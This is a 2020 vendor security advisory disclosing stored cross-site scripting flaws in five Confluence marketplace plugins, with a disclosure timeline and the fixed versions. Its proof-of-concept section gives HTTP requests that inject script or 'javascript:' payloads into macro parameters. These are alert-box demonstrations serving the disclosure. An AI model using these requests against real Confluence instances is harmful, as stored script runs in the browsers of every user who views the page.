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## SEC Consult SA-20201008-0 :: Multiple Cross-Site Scripting Vulnerabilities in Confluence Marketplace Plugins

From: SEC Consult Vulnerability Lab <research () sec-consult.com>  
Date: Fri, 9 Oct 2020 10:46:57 +0000

SEC Consult Vulnerability Lab Security Advisory < 20201008-0 >  
=====

title: Multiple Cross-Site Scripting Vulnerabilities  
products: PlantUML, Refined Toolkit for Confluence, Linking for Confluence, Countdown Timer, Server Status  
vulnerable versions: PlantUML: 6.43, Refined Toolkit for Confluence: 2.2.5, Linking for Confluence: 5.5.3, Countdown  
Timer: 1.7.0, Server Status: 1.2.1  
fixed version: PlantUML: 6.44, Refined Toolkit for Confluence: 2.2.7, Linking for Confluence: 5.5.7, Countdown  
Timer: 1.7.1, Server Status: 1.2.2  
impact: Medium  
homepage: PlantUML: <https://marketplace.atlassian.com/apps/41025/plantuml-for-confluence>  
Refined Toolkit for Confluence: <https://marketplace.atlassian.com/apps/1211136/refined-toolkit-for-confluence>  
Linking for Confluence: <https://marketplace.atlassian.com/apps/166/linking-for-confluence>  
Countdown Timer: <https://marketplace.atlassian.com/apps/1211116/countdown-timer>  
Server Status: <https://marketplace.atlassian.com/apps/1212916/server-status>  
found: 2020-08-12  
by: Daniel Teuchert (Office Bochum), Roman Ferdigg (Office Vienna)  
SEC Consult Vulnerability Lab  
  
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<https://www.sec-consult.com>

### Vendor & Product description:

PlantUML  
"Macros to add various UML diagrams and other diagrams"  
Vendor: <https://www.avogo.de>

Refined Toolkit for Confluence  
"Improve Confluence Pages with Handy UI Tools"  
Vendor: <https://www.refined.com>

Linking for Confluence  
"Enable one-click links to access Confluence templates, aggregate resources, and create structured content"  
Vendor: <https://www.servicerocket.com>

Countdown Timer  
"Countdown widget for Confluence"  
Vendor: [www.akeles.com](http://www.akeles.com)

Server Status  
"A collection of some server status tools for confluence"  
Vendor: <https://aptis-solutions.com>

### Business recommendation:

Update to the latest versions of the plugins. An in-depth security analysis performed by security professionals is highly advised, as the plugins may be affected from further security issues.

### Vulnerability overview/description:

- 1) PlantUML - Stored Cross-Site Scripting  
The Database Information macro is a component of PlantUML and can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability.
- 2) Refined Toolkit for Confluence - Stored Cross-Site Scripting  
The elements UI-Image and UI-Button can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability.
- 3) Linking for Confluence - Stored Cross-Site Scripting  
The Link in New Windows macro can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability.
- 4) Countdown Timer - Stored Cross-Site Scripting  
The Countdown Timer macro can be used to inject JavaScript code into Confluence pages, leading to a stored cross-site scripting vulnerability.
- 5) Server Status - Stored Cross-Site Scripting  
The two macros HTTP Status and SMTP Status can be used to inject JavaScript code into Confluence pages, leading to a stored cross site scripting vulnerability.

### Proof of concept:

1) PlantUML - Stored Cross-Site Scripting  
In the component Database Information a data source can be configured through the parameter "datasources". This parameter allows an attacker to inject a JavaScript code. The code is executed when a user visits the page where the macro is used.

Below is the example on how the XSS issue can be exploited:

```
POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=656236draftShareId=ebaald3-0bb2-476f-9e83-560e87bdd9a56;
```

```
{ "contentId": "65622", "macro": { "name": "database-info", "params": { "datasources": "<script>alert (document.domain)
</script>", "attributes": "sdfdsf", "body": "" } }
```

2) Refined Toolkit for Confluence - Stored Cross-Site Scripting  
In the two components UI-Image and UI-Button the parameter "url" allows an attacker to inject a JavaScript code. This code is executed when a user clicks on the created image/button on the Confluence page.

The following request demonstrates the creation of such an UI-Image macro:

```
POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=656096draftShareId=d0b7c806-ec40-4f56-8bdf-bd19474e80736;
```

```
{"contentId":"65603","macro":{"name":"ui-image","params":{"imageUrl":"test","linkUrl":"javascript:alert(document.domain)"}, "body":""}}
```

3) Linking for Confluence - Stored Cross-Site Scripting  
The parameter "href" in the Link in New Window macro allows an attacker to inject a JavaScript code. This code is executed when a user clicks on the created Link on the Confluence page.

The following request demonstrates the creation of such a link:

```
POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65609&draftShareId=d0b7c806-ec40-4f56-8bdf-bd19474e8073&
```

```
{"contentId":"65603","macro":{"name":"link-window","params":{"href":"javascript:alert(document.domain)","linkText":"click here"},"body":""}}
```

4) Countdown Timer - Stored Cross-Site Scripting  
In the Countdown Timer plugin it is possible to set a countdown date through the parameter "countdowndate". This parameter allows an attacker to inject a JavaScript code. The code is executed when a user visits the page where the plugin is used.

Below is the example on how the XSS issue can be exploited:

```
POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65627&draftShareId=de758257-a056-479e-9e6a-eccdede26003&
```

```
{"contentId":"65626","macro":{"name":"countdown","params":{"countdowndate":"<script>alert(document.domain)</script>"},"body":""}}
```

5) Server Status - Stored Cross-Site Scripting  
In the two components HTTP Status and SMTP status it is possible to set a text through the parameter "displayText". This parameter allows an attacker to inject a JavaScript code. The code is executed when a user visits the page where the plugin is used.

Below is the example on how the XSS issue can be exploited:

```
POST /rest/tinymce/1/macro/placeholder HTTP/1.1
Host: confluence:8090
[...]
Referer:
http://confluence:8090/pages/resumedraft.action?draftId=65619&draftShareId=efc17088-e2b6-4c29-9f0b-8ee90b4c03b7&

{"contentId":"65618","macro":{"name":"server-status-http-request","params":{"url":"http://test.com","displayText":"<script>alert(document.domain)</script>"},"theme":"Color"},"body":""}}
```

Vulnerable / tested versions:

The following versions of the plugins have been tested, which were the latest versions available at the time of the test.

PlantUML was tested in version 6.43.  
Refined Toolkit for Confluence was tested in version 2.2.5.  
Linking for Confluence was tested in version 5.5.3.  
Countdown Timer was tested in version 1.7.0.  
Server Status was tested in version 1.2.1.

It is assumed earlier versions of the plugins are also vulnerable to the issues.

Vendor contact timeline:

-----  
PlantUML  
2020-08-19: Contacting avono AG (PlantUML) through info () avono de  
2020-08-21: Vendor supplies PGP key for security contact  
2020-08-21: Sending the details of the vulnerability  
2020-08-25: Vendor releases fixed version 6.44  
2020-10-08: Public release of the security advisory  
  
Refined Toolkit for Confluence  
2020-08-19: Contacting vendor through support () refined com  
2020-08-19: Vendor automatically creates Jira Ticket  
2020-08-24: Vendor asks for information about the vulnerability via Jira  
2020-08-24: Sending the details of the vulnerability  
2020-08-26: Vendor releases fixed version 2.2.7  
2020-10-08: Public release of the security advisory  
  
Linking for Confluence  
2020-08-19: Contacting vendor through apps.support () servicerocket com  
2020-08-19: Vendor automatically creates Jira Ticket  
2020-08-19: Vendor supplies PGP key for security contact  
2020-08-20: Sending the details of the vulnerability  
2020-09-20: Vendor releases fixed version 5.5.7  
2020-10-08: Public release of the security advisory  
  
Countdown Timer  
2020-08-19: Contacting Akeles Consulting (Countdown Timer) through help () akeles com  
2020-08-21: Vendor creates Jira Ticket and asks for information about the vulnerability via Jira  
2020-08-21: Sending the details of the vulnerability  
2020-09-17: Requesting a status update  
2020-09-17: Vendor is working on it and there will be soon a new version  
2020-09-22: Vendor was reminded about the latest possible release date  
2020-09-28: Vendor will probably release the advisory in CW 40  
2020-10-05: Requesting a status update  
2020-10-06: Vendor releases fixed version 1.7.1  
2020-10-08: Public release of the security advisory  
  
Server Status  
2020-08-19: Contacting APTIS GmbH (Server Status) through info@aptis.support  
2020-08-31: Sending unencrypted advisory as requested by vendor  
2020-08-31: Vendor releases fixed version 1.2.2  
2020-10-08: Public release of the security advisory

Solution:

-----  
PlantUML  
The fixed version 6.44 is available at the Marketplace:  
<https://marketplace.atlassian.com/apps/41025/plantuml-for-confluence?hosting=server&tab=versions>

Refined Toolkit for Confluence  
The fixed version 2.2.7 is available at the Marketplace:  
<https://marketplace.atlassian.com/apps/1211136/refined-toolkit-for-confluence?hosting=datacenter&tab=versions>

Linking for Confluence  
The fixed version 5.5.7 is available at the Marketplace:  
<https://marketplace.atlassian.com/apps/166/linking-for-confluence?hosting=cloud&tab=versions>

Countdown Timer  
The fixed version 1.7.1 is available at the Marketplace:  
<https://marketplace.atlassian.com/apps/1211116/countdown-timer?hosting=server&tab=versions>

Server Status  
The fixed version 1.2.2 is available at the Marketplace:  
<https://marketplace.atlassian.com/apps/1212916/server-status?hosting=server&tab=versions>

Workaround:

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None

Advisory URL:  
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<https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html>

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